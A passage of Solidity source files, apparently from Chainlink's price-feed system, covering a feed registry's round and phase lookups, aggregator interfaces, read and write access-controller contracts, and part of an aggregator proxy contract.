asset, address denomination ) external view override checkPairAccess() returns ( uint256 roundId ) { uint16 currentPhaseId = s_currentPhaseId[asset][denomination]; AggregatorV2V3Interface currentPhaseAggregator = _getFeed(asset, denomination); return _addPhase(currentPhaseId, uint64(currentPhaseAggregator.latestRound())); } /** * @notice get past rounds answers * @param asset asset address * @param denomination denomination address * @param roundId the proxy round id number to retrieve the answer for * @dev overridden function to add the checkAccess() modifier * * @notice We advise to use getRoundData() instead because it returns more in-depth information. * @dev This does not error if no answer has been reached, it will simply return 0. Either wait to point to * an already answered Aggregator or use the recommended getRoundData * instead which includes better verification information. */ function getAnswer( address asset, address denomination, uint256 roundId ) external view override checkPairAccess() returns ( int256 answer ) { if (roundId > MAX_ID) return 0; (uint16 phaseId, uint64 aggregatorRoundId) = _parseIds(roundId); AggregatorV2V3Interface aggregator = _getPhaseFeed(asset, denomination, phaseId); if (address(aggregator) == address(0)) return 0; return aggregator.getAnswer(aggregatorRoundId); } /** * @notice get block timestamp when an answer was last updated * @param asset asset address * @param denomination denomination address * @param roundId the proxy round id number to retrieve the updated timestamp for * @dev overridden function to add the checkAccess() modifier * * @notice We advise to use getRoundData() instead because it returns more in-depth information. * @dev This does not error if no answer has been reached, it will simply return 0. Either wait to point to * an already answered Aggregator or use the recommended getRoundData * instead which includes better verification information. */ function getTimestamp( address asset, address denomination, uint256 roundId ) external view override checkPairAccess() returns ( uint256 timestamp ) { if (roundId > MAX_ID) return 0; (uint16 phaseId, uint64 aggregatorRoundId) = _parseIds(roundId); AggregatorV2V3Interface aggregator = _getPhaseFeed(asset, denomination, phaseId); if (address(aggregator) == address(0)) return 0; return aggregator.getTimestamp(aggregatorRoundId); } /** * @notice Retrieve the aggregator of an asset / denomination pair in the current phase * @param asset asset address * @param denomination denomination address * @return aggregator */ function getFeed( address asset, address denomination ) public view override returns ( AggregatorV2V3Interface aggregator ) { aggregator = _getFeed(asset, denomination); require(address(aggregator) != address(0), "Feed not found"); } /** * @notice retrieve the aggregator of an asset / denomination pair at a specific phase * @param asset asset address * @param denomination denomination address * @param phaseId phase ID * @return aggregator */ function getPhaseFeed( address asset, address denomination, uint16 phaseId ) public view override returns ( AggregatorV2V3Interface aggregator ) { aggregator = _getPhaseFeed(asset, denomination, phaseId); require(address(aggregator) != address(0), "Feed not found for phase"); } /** * @notice returns true if a aggregator is enabled for any pair * @param aggregator aggregator address */ function isFeedEnabled( address aggregator ) public view override returns ( bool ) { return s_isAggregatorEnabled[aggregator]; } /** * @notice returns a phase by id. A Phase contains the starting and ending aggregator round ids. * endingAggregatorRoundId will be 0 if the phase is the current phase * @dev reverts if the phase does not exist * @param asset asset address * @param denomination denomination address * @param phaseId phase id * @return phase */ function getPhase( address asset, address denomination, uint16 phaseId ) public view override returns ( Phase memory phase ) { phase = _getPhase(asset, denomination, phaseId); require(_phaseExists(phase), "Phase does not exist"); } /** * @notice retrieve the aggregator of an asset / denomination pair at a specific round id * @param asset asset address * @param denomination denomination address * @param roundId the proxy round id */ function getRoundFeed( address asset, address denomination, uint80 roundId ) public view override returns ( AggregatorV2V3Interface aggregator ) { uint16 phaseId = _getPhaseIdByRoundId(asset, denomination, roundId); aggregator = _getPhaseFeed(asset, denomination, phaseId); require(address(aggregator) != address(0), "Feed not found for round"); } /** * @notice returns the range of proxy round ids of a phase * @param asset asset address * @param denomination denomination address * @param phaseId phase id * @return startingRoundId * @return endingRoundId */ function getPhaseRange( address asset, address denomination, uint16 phaseId ) public view override returns ( uint80 startingRoundId, uint80 endingRoundId ) { Phase memory phase = _getPhase(asset, denomination, phaseId); require(_phaseExists(phase), "Phase does not exist"); uint16 currentPhaseId = s_currentPhaseId[asset][denomination]; if (phaseId == currentPhaseId) return _getLatestRoundRange(asset, denomination, currentPhaseId); return _getPhaseRange(asset, denomination, phaseId); } /** * @notice return the previous round id of a given round * @param asset asset address * @param denomination denomination address * @param roundId the round id number to retrieve the updated timestamp for * @dev Note that this is not the aggregator round id, but the proxy round id * To get full ranges of round ids of different phases, use getPhaseRange() * @return previousRoundId */ function getPreviousRoundId( address asset, address denomination, uint80 roundId ) external view override returns ( uint80 previousRoundId ) { uint16 phaseId = _getPhaseIdByRoundId(asset, denomination, roundId); return _getPreviousRoundId(asset, denomination, phaseId, roundId); } /** * @notice return the next round id of a given round * @param asset asset address * @param denomination denomination address * @param roundId the round id number to retrieve the updated timestamp for * @dev Note that this is not the aggregator round id, but the proxy round id * To get full ranges of round ids of different phases, use getPhaseRange() * @return nextRoundId */ function getNextRoundId( address asset, address denomination, uint80 roundId ) external view override returns ( uint80 nextRoundId ) { uint16 phaseId = _getPhaseIdByRoundId(asset, denomination, roundId); return _getNextRoundId(asset, denomination, phaseId, roundId); } /** * @notice Allows the owner to propose a new address for the aggregator * @param asset asset address * @param denomination denomination address * @param aggregator The new aggregator contract address */ function proposeFeed( address asset, address denomination, address aggregator ) external override onlyOwner() { AggregatorV2V3Interface currentPhaseAggregator = _getFeed(asset, denomination); require(aggregator != address(currentPhaseAggregator), "Cannot propose current aggregator"); address proposedAggregator = address(_getProposedFeed(asset, denomination)); if (proposedAggregator != aggregator) { s_proposedAggregators[asset][denomination] = AggregatorV2V3Interface(aggregator); emit FeedProposed(asset, denomination, aggregator, address(currentPhaseAggregator), msg.sender); } } /** * @notice Allows the owner to confirm and change the address * to the proposed aggregator * @dev Reverts if the given address doesn't match what was previously * proposed * @param asset asset address * @param denomination denomination address * @param aggregator The new aggregator contract address */ function confirmFeed( address asset, address denomination, address aggregator ) external override onlyOwner() { (uint16 nextPhaseId, address previousAggregator) = _setFeed(asset, denomination, aggregator); s_isAggregatorEnabled[aggregator] = true; s_isAggregatorEnabled[previousAggregator] = false; emit FeedConfirmed(asset, denomination, aggregator, previousAggregator, nextPhaseId, msg.sender); } /** * @notice Returns the proposed aggregator for an asset / denomination pair * returns a zero address if there is no proposed aggregator for the pair * @param asset asset address * @param denomination denomination address * @return proposedAggregator */ function getProposedFeed( address asset, address denomination ) public view override returns ( AggregatorV2V3Interface proposedAggregator ) { return _getProposedFeed(asset, denomination); } /** * @notice Used if an aggregator contract has been proposed. * @param asset asset address * @param denomination denomination address * @param roundId the round ID to retrieve the round data for * @return id is the round ID for which data was retrieved * @return answer is the answer for the given round * @return startedAt is the timestamp when the round was started. * (Only some AggregatorV3Interface implementations return meaningful values) * @return updatedAt is the timestamp when the round last was updated (i.e. * answer was last computed) * @return answeredInRound is the round ID of the round in which the answer * was computed. */ function proposedGetRoundData( address asset, address denomination, uint80 roundId ) external view virtual override hasProposal(asset, denomination) returns ( uint80 id, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ) { return s_proposedAggregators[asset][denomination].getRoundData(roundId); } /** * @notice Used if an aggregator contract has been proposed. * @param asset asset address * @param denomination denomination address * @return id is the round ID for which data was retrieved * @return answer is the answer for the given round * @return startedAt is the timestamp when the round was started. * (Only some AggregatorV3Interface implementations return meaningful values) * @return updatedAt is the timestamp when the round last was updated (i.e. * answer was last computed) * @return answeredInRound is the round ID of the round in which the answer * was computed. */ function proposedLatestRoundData( address asset, address denomination ) external view virtual override hasProposal(asset, denomination) returns ( uint80 id, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ) { return s_proposedAggregators[asset][denomination].latestRoundData(); } function getCurrentPhaseId( address asset, address denomination ) public view override returns ( uint16 currentPhaseId ) { return s_currentPhaseId[asset][denomination]; } function _addPhase( uint16 phase, uint64 originalId ) internal pure returns ( uint80 ) { return uint80(uint256(phase) << PHASE_OFFSET | originalId); } function _parseIds( uint256 roundId ) internal pure returns ( uint16, uint64 ) { uint16 phaseId = uint16(roundId >> PHASE_OFFSET); uint64 aggregatorRoundId = uint64(roundId); return (phaseId, aggregatorRoundId); } function _addPhaseIds( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound, uint16 phaseId ) internal pure returns ( uint80, int256, uint256, uint256, uint80 ) { return ( _addPhase(phaseId, uint64(roundId)), answer, startedAt, updatedAt, _addPhase(phaseId, uint64(answeredInRound)) ); } function _getPhase( address asset, address denomination, uint16 phaseId ) internal view returns ( Phase memory phase ) { return s_phases[asset][denomination][phaseId]; } function _phaseExists( Phase memory phase ) internal pure returns ( bool ) { return phase.phaseId > 0; } function _getProposedFeed( address asset, address denomination ) internal view returns ( AggregatorV2V3Interface proposedAggregator ) { return s_proposedAggregators[asset][denomination]; } function _getPhaseFeed( address asset, address denomination, uint16 phaseId ) internal view returns ( AggregatorV2V3Interface aggregator ) { return s_phaseAggregators[asset][denomination][phaseId]; } function _getFeed( address asset, address denomination ) internal view returns ( AggregatorV2V3Interface aggregator ) { uint16 currentPhaseId = s_currentPhaseId[asset][denomination]; return _getPhaseFeed(asset, denomination, currentPhaseId); } function _setFeed( address asset, address denomination, address newAggregator ) internal returns ( uint16 nextPhaseId, address previousAggregator ) { require(newAggregator == address(s_proposedAggregators[asset][denomination]), "Invalid proposed aggregator"); delete s_proposedAggregators[asset][denomination]; AggregatorV2V3Interface currentAggregator = _getFeed(asset, denomination); uint80 previousAggregatorEndingRoundId = _getLatestAggregatorRoundId(currentAggregator); uint16 currentPhaseId = s_currentPhaseId[asset][denomination]; s_phases[asset][denomination][currentPhaseId].endingAggregatorRoundId = previousAggregatorEndingRoundId; nextPhaseId = currentPhaseId + 1; s_currentPhaseId[asset][denomination] = nextPhaseId; s_phaseAggregators[asset][denomination][nextPhaseId] = AggregatorV2V3Interface(newAggregator); uint80 startingRoundId = _getLatestAggregatorRoundId(AggregatorV2V3Interface(newAggregator)); s_phases[asset][denomination][nextPhaseId] = Phase(nextPhaseId, startingRoundId, 0); return (nextPhaseId, address(currentAggregator)); } function _getPreviousRoundId( address asset, address denomination, uint16 phaseId, uint80 roundId ) internal view returns ( uint80 ) { for (uint16 pid = phaseId; pid > 0; pid--) { AggregatorV2V3Interface phaseAggregator = _getPhaseFeed(asset, denomination, pid); (uint80 startingRoundId, uint80 endingRoundId) = _getPhaseRange(asset, denomination, pid); if (address(phaseAggregator) == address(0)) continue; if (roundId <= startingRoundId) continue; if (roundId > startingRoundId && roundId <= endingRoundId) return roundId - 1; if (roundId > endingRoundId) return endingRoundId; } return 0; // Round not found } function _getNextRoundId( address asset, address denomination, uint16 phaseId, uint80 roundId ) internal view returns ( uint80 ) { uint16 currentPhaseId = s_currentPhaseId[asset][denomination]; for (uint16 pid = phaseId; pid <= currentPhaseId; pid++) { AggregatorV2V3Interface phaseAggregator = _getPhaseFeed(asset, denomination, pid); (uint80 startingRoundId, uint80 endingRoundId) = (pid == currentPhaseId) ? _getLatestRoundRange(asset, denomination, pid) : _getPhaseRange(asset, denomination, pid); if (address(phaseAggregator) == address(0)) continue; if (roundId >= endingRoundId) continue; if (roundId >= startingRoundId && roundId < endingRoundId) return roundId + 1; if (roundId < startingRoundId) return startingRoundId; } return 0; // Round not found } function _getPhaseRange( address asset, address denomination, uint16 phaseId ) internal view returns ( uint80 startingRoundId, uint80 endingRoundId ) { Phase memory phase = _getPhase(asset, denomination, phaseId); return ( _getStartingRoundId(phaseId, phase), _getEndingRoundId(phaseId, phase) ); } function _getLatestRoundRange( address asset, address denomination, uint16 currentPhaseId ) internal view returns ( uint80 startingRoundId, uint80 endingRoundId ) { Phase memory phase = s_phases[asset][denomination][currentPhaseId]; return ( _getStartingRoundId(currentPhaseId, phase), _getLatestRoundId(asset, denomination, currentPhaseId) ); } function _getStartingRoundId( uint16 phaseId, Phase memory phase ) internal pure returns ( uint80 startingRoundId ) { return _addPhase(phaseId, uint64(phase.startingAggregatorRoundId)); } function _getEndingRoundId( uint16 phaseId, Phase memory phase ) internal pure returns ( uint80 startingRoundId ) { return _addPhase(phaseId, uint64(phase.endingAggregatorRoundId)); } function _getLatestRoundId( address asset, address denomination, uint16 currentPhaseId ) internal view returns ( uint80 startingRoundId ) { AggregatorV2V3Interface currentPhaseAggregator = _getFeed(asset, denomination); uint80 latestAggregatorRoundId = _getLatestAggregatorRoundId(currentPhaseAggregator); return _addPhase(currentPhaseId, uint64(latestAggregatorRoundId)); } function _getLatestAggregatorRoundId( AggregatorV2V3Interface aggregator ) internal view returns ( uint80 roundId ) { if (address(aggregator) == address(0)) return uint80(0); return uint80(aggregator.latestRound()); } function _getPhaseIdByRoundId( address asset, address denomination, uint80 roundId ) internal view returns ( uint16 phaseId ) { // Handle case where the round is in current phase uint16 currentPhaseId = s_currentPhaseId[asset][denomination]; (uint80 startingCurrentRoundId, uint80 endingCurrentRoundId) = _getLatestRoundRange(asset, denomination, currentPhaseId); if (roundId >= startingCurrentRoundId && roundId <= endingCurrentRoundId) return currentPhaseId; // Handle case where the round is in past phases for (uint16 pid = currentPhaseId - 1; pid > 0; pid--) { AggregatorV2V3Interface phaseAggregator = s_phaseAggregators[asset][denomination][pid]; if (address(phaseAggregator) == address(0)) continue; (uint80 startingRoundId, uint80 endingRoundId) = _getPhaseRange(asset, denomination, pid); if (roundId >= startingRoundId && roundId <= endingRoundId) return pid; if (roundId > endingRoundId) break; } return 0; } /** * @dev reverts if the caller does not have access granted by the accessController contract * to the asset / denomination pair or is the contract itself. */ modifier checkPairAccess() { require(address(s_accessController) == address(0) || s_accessController.hasAccess(msg.sender, msg.data), "No access"); _; } /** * @dev reverts if no proposed aggregator was set */ modifier hasProposal( address asset, address denomination ) { require(address(s_proposedAggregators[asset][denomination]) != address(0), "No proposed aggregator present"); _; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "./AggregatorInterface.sol"; import "./AggregatorV3Interface.sol"; interface AggregatorV2V3Interface is AggregatorInterface, AggregatorV3Interface { } // SPDX-License-Identifier: MIT pragma solidity 0.7.6; pragma abicoder v2; // solhint-disable compiler-version import "@chainlink/contracts/src/v0.7/interfaces/AggregatorV2V3Interface.sol"; import "./AccessControlledInterface.sol"; import "./TypeAndVersionInterface.sol"; interface FeedRegistryInterface is AccessControlledInterface, TypeAndVersionInterface { struct Phase { uint16 phaseId; uint80 startingAggregatorRoundId; // The latest round id of `aggregator` at phase start uint80 endingAggregatorRoundId; // The latest round of the at phase end } event FeedProposed( address indexed asset, address indexed denomination, address indexed proposedAggregator, address currentAggregator, address sender ); event FeedConfirmed( address indexed asset, address indexed denomination, address indexed latestAggregator, address previousAggregator, uint16 nextPhaseId, address sender ); // V3 AggregatorV3Interface function decimals( address asset, address denomination ) external view returns ( uint8 ); function description( address asset, address denomination ) external view returns ( string memory ); function version( address asset, address denomination ) external view returns ( uint256 ); function latestRoundData( address asset, address denomination ) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function getRoundData( address asset, address denomination, uint80 _roundId ) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); // V2 AggregatorInterface function latestAnswer( address asset, address denomination ) external view returns ( int256 answer ); function latestTimestamp( address asset, address denomination ) external view returns ( uint256 timestamp ); function latestRound( address asset, address denomination ) external view returns ( uint256 roundId ); function getAnswer( address asset, address denomination, uint256 roundId ) external view returns ( int256 answer ); function getTimestamp( address asset, address denomination, uint256 roundId ) external view returns ( uint256 timestamp ); // Registry getters function getFeed( address asset, address denomination ) external view returns ( AggregatorV2V3Interface aggregator ); function getPhaseFeed( address asset, address denomination, uint16 phaseId ) external view returns ( AggregatorV2V3Interface aggregator ); function isFeedEnabled( address aggregator ) external view returns ( bool ); function getPhase( address asset, address denomination, uint16 phaseId ) external view returns ( Phase memory phase ); // Round helpers function getRoundFeed( address asset, address denomination, uint80 roundId ) external view returns ( AggregatorV2V3Interface aggregator ); function getPhaseRange( address asset, address denomination, uint16 phaseId ) external view returns ( uint80 startingRoundId, uint80 endingRoundId ); function getPreviousRoundId( address asset, address denomination, uint80 roundId ) external view returns ( uint80 previousRoundId ); function getNextRoundId( address asset, address denomination, uint80 roundId ) external view returns ( uint80 nextRoundId ); // Feed management function proposeFeed( address asset, address denomination, address aggregator ) external; function confirmFeed( address asset, address denomination, address aggregator ) external; // Proposed aggregator function getProposedFeed( address asset, address denomination ) external view returns ( AggregatorV2V3Interface proposedAggregator ); function proposedGetRoundData( address asset, address denomination, uint80 roundId ) external view returns ( uint80 id, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function proposedLatestRoundData( address asset, address denomination ) external view returns ( uint80 id, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); // Phases function getCurrentPhaseId( address asset, address denomination ) external view returns ( uint16 currentPhaseId ); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; interface AggregatorInterface { function latestAnswer() external view returns ( int256 ); function latestTimestamp() external view returns ( uint256 ); function latestRound() external view returns ( uint256 ); function getAnswer( uint256 roundId ) external view returns ( int256 ); function getTimestamp( uint256 roundId ) external view returns ( uint256 ); event AnswerUpdated( int256 indexed current, uint256 indexed roundId, uint256 updatedAt ); event NewRound( uint256 indexed roundId, address indexed startedBy, uint256 startedAt ); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; interface AggregatorV3Interface { function decimals() external view returns ( uint8 ); function description() external view returns ( string memory ); function version() external view returns ( uint256 ); // getRoundData and latestRoundData should both raise "No data present" // if they do not have data to report, instead of returning unset values // which could be misinterpreted as actual reported values. function getRoundData( uint80 _roundId ) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; interface TypeAndVersionInterface{ function typeAndVersion() external pure returns ( string memory ); } // SPDX-License-Identifier: MIT pragma solidity 0.7.6; import "../interfaces/FeedRegistryInterface.sol"; contract MockConsumer { FeedRegistryInterface private s_FeedRegistry; constructor( FeedRegistryInterface FeedRegistry ) { s_FeedRegistry = FeedRegistry; } function getFeedRegistry() public view returns ( FeedRegistryInterface ) { return s_FeedRegistry; } function read( address asset, address denomination ) public view returns ( int256 ) { return s_FeedRegistry.latestAnswer(asset, denomination); } } // SPDX-License-Identifier: MIT pragma solidity 0.7.6; import "../vendor/AccessControllerInterface.sol"; import "../vendor/ConfirmedOwner.sol"; /** * @title WriteAccessController * @notice Has two access lists: a global list and a data-specific list. * @dev does not make any special permissions for EOAs, see * ReadAccessController for that. */ contract WriteAccessController is AccessControllerInterface, ConfirmedOwner(msg.sender) { bool private s_checkEnabled = true; mapping(address => bool) internal s_globalAccessList; mapping(address => mapping(bytes => bool)) internal s_localAccessList; event AccessAdded(address user, bytes data, address sender); event AccessRemoved(address user, bytes data, address sender); event CheckAccessEnabled(); event CheckAccessDisabled(); function checkEnabled() public view returns ( bool ) { return s_checkEnabled; } /** * @notice Returns the access of an address * @param user The address to query * @param data The calldata to query */ function hasAccess( address user, bytes memory data ) public view virtual override returns (bool) { return !s_checkEnabled || s_globalAccessList[user] || s_localAccessList[user][data]; } /** * @notice Adds an address to the global access list * @param user The address to add */ function addGlobalAccess( address user ) external onlyOwner() { _addGlobalAccess(user); } /** * @notice Adds an address+data to the local access list * @param user The address to add * @param data The calldata to add */ function addLocalAccess( address user, bytes memory data ) external onlyOwner() { _addLocalAccess(user, data); } /** * @notice Removes an address from the global access list * @param user The address to remove */ function removeGlobalAccess( address user ) external onlyOwner() { _removeGlobalAccess(user); } /** * @notice Removes an address+data from the local access list * @param user The address to remove * @param data The calldata to remove */ function removeLocalAccess( address user, bytes memory data ) external onlyOwner() { _removeLocalAccess(user, data); } /** * @notice makes the access check enforced */ function enableAccessCheck() external onlyOwner() { _enableAccessCheck(); } /** * @notice makes the access check unenforced */ function disableAccessCheck() external onlyOwner() { _disableAccessCheck(); } /** * @dev reverts if the caller does not have access */ modifier checkAccess() { if (s_checkEnabled) { require(hasAccess(msg.sender, msg.data), "No access"); } _; } function _enableAccessCheck() internal { if (!s_checkEnabled) { s_checkEnabled = true; emit CheckAccessEnabled(); } } function _disableAccessCheck() internal { if (s_checkEnabled) { s_checkEnabled = false; emit CheckAccessDisabled(); } } function _addGlobalAccess(address user) internal { if (!s_globalAccessList[user]) { s_globalAccessList[user] = true; emit AccessAdded(user, "", msg.sender); } } function _removeGlobalAccess(address user) internal { if (s_globalAccessList[user]) { s_globalAccessList[user] = false; emit AccessRemoved(user, "", msg.sender); } } function _addLocalAccess(address user, bytes memory data) internal { if (!s_localAccessList[user][data]) { s_localAccessList[user][data] = true; emit AccessAdded(user, data, msg.sender); } } function _removeLocalAccess(address user, bytes memory data) internal { if (s_localAccessList[user][data]) { s_localAccessList[user][data] = false; emit AccessRemoved(user, data, msg.sender); } } } // SPDX-License-Identifier: MIT pragma solidity 0.7.6; import "./WriteAccessController.sol"; import "../utils/EOAContext.sol"; /** * @title ReadAccessController * @notice Gives access to: * - any externally owned account (note that offchain actors can always read * any contract storage regardless of onchain access control measures, so this * does not weaken the access control while improving usability) * - accounts explicitly added to an access list * @dev ReadAccessController is not suitable for access controlling writes * since it grants any externally owned account access! See * WriteAccessController for that. */ contract ReadAccessController is WriteAccessController, EOAContext { /** * @notice Returns the access of an address * @param account The address to query * @param data The calldata to query */ function hasAccess( address account, bytes memory data ) public view virtual override returns (bool) { return super.hasAccess(account, data) || _isEOA(account); } } // SPDX-License-Identifier: MIT pragma solidity 0.7.6; /* * @dev Provides information about the current execution context, specifically on if an account is an EOA on that chain. * Different chains have different account abstractions, so this contract helps to switch behaviour between chains. * This contract is only required for intermediate, library-like contracts. */ abstract contract EOAContext { function _isEOA(address account) internal view virtual returns (bool) { return account == tx.origin; // solhint-disable-line avoid-tx-origin } } // SPDX-License-Identifier: MIT pragma solidity 0.7.6; import "./WriteAccessController.sol"; import "../utils/EOAContext.sol"; /** * @title PairReadAccessController * @notice Extends WriteAccessController. Decodes the (asset, denomination) pair values of msg.data. * @notice Gives access to: * - any externally owned account (note that offchain actors can always read * any contract storage regardless of onchain access control measures, so this * does not weaken the access control while improving usability) * - accounts explicitly added to an access list * @dev PairReadAccessController is not suitable for access controlling writes * since it grants any externally owned account access! See * WriteAccessController for that. */ contract PairReadAccessController is WriteAccessController, EOAContext { /** * @notice Returns the access of an address to an asset/denomination pair * @param account The address to query * @param data The calldata to query */ function hasAccess( address account, bytes calldata data ) public view virtual override returns (bool) { ( address asset, address denomination ) = abi.decode(data[4:], (address, address)); bytes memory pairData = abi.encode(asset, denomination); // Check access to pair (TKN / ETH) return super.hasAccess(account, pairData) || _isEOA(account); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "./AggregatorV2V3Interface.sol"; interface AggregatorProxyInterface is AggregatorV2V3Interface { function phaseAggregators( uint16 phaseId ) external view returns ( address ); function phaseId() external view returns ( uint16 ); function proposedAggregator() external view returns ( address ); function proposedGetRoundData( uint80 roundId ) external view returns ( uint80 id, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function proposedLatestRoundData() external view returns ( uint80 id, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function aggregator() external view returns ( address ); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "./ConfirmedOwner.sol"; import "../interfaces/AggregatorProxyInterface.sol"; /** * @title A trusted proxy for updating where current answers are read from * @notice This contract provides a consistent address for the * CurrentAnwerInterface but delegates where it reads from to the owner, who is * trusted to update it. */ contract AggregatorProxy is AggregatorProxyInterface, ConfirmedOwner { struct Phase { uint16 id; AggregatorProxyInterface aggregator; } AggregatorProxyInterface private s_proposedAggregator; mapping(uint16 => AggregatorProxyInterface) private s_phaseAggregators; Phase private s_currentPhase; uint256 constant private PHASE_OFFSET = 64; uint256 constant private PHASE_SIZE = 16; uint256 constant private MAX_ID = 2**(PHASE_OFFSET+PHASE_SIZE) - 1; event AggregatorProposed( address indexed current, address indexed proposed ); event AggregatorConfirmed( address indexed previous, address indexed latest ); constructor( address aggregatorAddress ) ConfirmedOwner(msg.sender) { setAggregator(aggregatorAddress); } /** * @notice Reads the current answer from aggregator delegated to. * * @dev #[deprecated] Use latestRoundData instead. This does not error if no * answer has been reached, it will simply return 0. Either wait to point to * an already answered Aggregator or use the recommended latestRoundData * instead which includes better verification information. */ function latestAnswer() public view virtual override returns ( int256 answer ) { return s_currentPhase.aggregator.latestAnswer(); } /** * @notice Reads the last updated height from aggregator delegated to. * * @dev #[deprecated] Use latestRoundData instead. This does not error if no * answer has been reached, it will simply return 0. Either wait to point to * an already answered Aggregator or use the recommended latestRoundData * instead which includes better verification information. */ function latestTimestamp() public view virtual override returns ( uint256 updatedAt ) { return s_currentPhase.aggregator.latestTimestamp(); } /** * @notice get past rounds answers * @param roundId the answer number to retrieve the answer for * * @dev #[deprecated] Use getRoundData instead. This does not error if no * answer has been reached, it will simply return 0. Either wait to point to * an already answered Aggregator or use the recommended getRoundData * instead which includes better verification information. */ function getAnswer( uint256 roundId ) public view virtual override returns ( int256 answer ) { if (roundId > MAX_ID) return 0; (uint16 phaseId, uint64 aggregatorRoundId) = parseIds(roundId); AggregatorProxyInterface aggregator = s_phaseAggregators[phaseId]; if (address(aggregator) == address(0)) return 0; return aggregator.getAnswer(aggregatorRoundId); } /** * @notice get block timestamp when an answer was last updated * @param roundId the answer number to retrieve the updated timestamp for * * @dev #[deprecated] Use getRoundData instead. This does not error if no * answer has been reached, it will simply return 0. Either wait to point to * an already answered Aggregator or use the recommended getRoundData * instead which includes better verification information. */ function getTimestamp( uint256 roundId ) public view virtual override returns ( uint256 updatedAt ) { if (roundId > MAX_ID) return 0; (uint16 phaseId, uint64 aggregatorRoundId) = parseIds(roundId); AggregatorProxyInterface aggregator = s_phaseAggregators[phaseId]; if (address(aggregator) == address(0)) return 0; return aggregator.getTimestamp(aggregatorRoundId); } /** * @notice get the latest completed round where the answer was updated. This * ID includes the proxy's phase, to make sure round IDs increase even when * switching to a newly deployed aggregator. * * @dev #[deprecated] Use latestRoundData instead. This does not error if no * answer has been reached, it will simply return 0. Either wait to point to * an already answered Aggregator or use the recommended latestRoundData * instead which includes better verification information. */ function latestRound() public view virtual override returns ( uint256 roundId ) { Phase memory phase = s_currentPhase; // cache storage reads return addPhase(phase.id, uint64(phase.aggregator.latestRound())); } /** * @notice get data about a round. Consumers are encouraged to check * that they're receiving fresh data by inspecting the updatedAt and * answeredInRound return values. * Note that different underlying implementations of AggregatorV3Interface * have slightly different semantics for some of the return values. Consumers * should determine what implementations they expect to receive * data from and validate that they can properly handle return data from all * of them. * @param roundId the requested round ID as presented through the proxy, this * is made up of the aggregator's round ID with the phase ID encoded in the * two highest order bytes * @return id is the round ID from the aggregator for which the data was * retrieved combined with an phase to ensure that round IDs get larger as * time moves forward. * @return answer is the answer for the given round * @return startedAt is the timestamp when the round was started. * (Only some AggregatorV3Interface implementations return meaningful values) * @return updatedAt is the timestamp when the round last was updated (i.e. * answer was last computed) * @return answeredInRound is the round ID of the round in which the answer * was computed. * (Only some AggregatorV3Interface implementations return meaningful values) * @dev Note that answer and updatedAt may change between queries. */ function getRoundData( uint80 roundId ) public view virtual override returns ( uint80 id, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ) { (uint16 phaseId, uint64 aggregatorRoundId) = parseIds(roundId); ( id, answer, startedAt, updatedAt, answeredInRound ) = s_phaseAggregators[phaseId].getRoundData(aggregatorRoundId); return addPhaseIds(id, answer, startedAt, updatedAt, answeredInRound, phaseId); } /** * @notice get data about the latest round. Consumers are encouraged to check * that they're receiving fresh data by inspecting the updatedAt and * answeredInRound return values. * Note that different underlying implementations of AggregatorV3Interface * have slightly different semantics for some of the return values. Consumers * should determine what implementations they expect to receive * data from and validate that they can properly handle return data from all * of them. * @return id is the round ID from the aggregator for which the data was * retrieved combined with an phase to ensure that round IDs get larger as * time moves forward. * @return answer is the answer for the given round * @return startedAt is the timestamp when the round was started. * (Only some AggregatorV3Interface implementations return meaningful values) * @return updatedAt is the timestamp when the round last was updated (i.e. * answer was last computed) * @return answeredInRound is the round ID of the round in which the answer * was computed. * (Only some AggregatorV3Interface implementations return meaningful values) * @dev Note that answer and updatedAt may change between queries. */ function latestRoundData() public view virtual override returns ( uint80 id, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ) { Phase memory current = s_currentPhase; // cache storage reads ( id, answer, startedAt, updatedAt, answeredInRound ) = current.aggregator.latestRoundData(); return addPhaseIds(id, answer, startedAt, updatedAt, answeredInRound, current.id); } /** * @notice Used if an aggregator contract has been proposed. * @param roundId the round ID to retrieve the round data for * @return id is the round ID for which data was retrieved * @return answer is the answer for the given round * @return startedAt is the timestamp when the round was started. * (Only some AggregatorV3Interface implementations return meaningful values) * @return updatedAt is the timestamp when the round last was updated (i.e. * answer was last computed) * @return answeredInRound is the round ID of the round in which the answer * was computed. */ function proposedGetRoundData( uint80 roundId ) external view virtual override hasProposal() returns ( uint80 id, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ) { return s_proposedAggregator.getRoundData(roundId); } /** * @notice Used if an aggregator contract has been proposed. * @return id is the round ID for which data was retrieved * @return answer is the answer for the given round * @return startedAt is the timestamp when the round was started. * (Only some AggregatorV3Interface implementations return meaningful values) * @return updatedAt is the timestamp when the round last was updated (i.e. * answer was last computed) * @return answeredInRound is the round ID of the round in which the answer * was computed. */ function proposedLatestRoundData() external view virtual override hasProposal() returns ( uint80 id, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ) { return s_proposedAggregator.latestRoundData(); } /** * @notice returns the current phase's aggregator address. */ function aggregator() external view override returns ( address ) { return address(s_currentPhase.aggregator); } /** * @notice returns the current phase's ID. */ function phaseId() external view override returns ( uint16 ) { return s_currentPhase.id; } /** * @notice represents the number of decimals the aggregator responses represent. */ function decimals() external view override returns ( uint8 ) { return 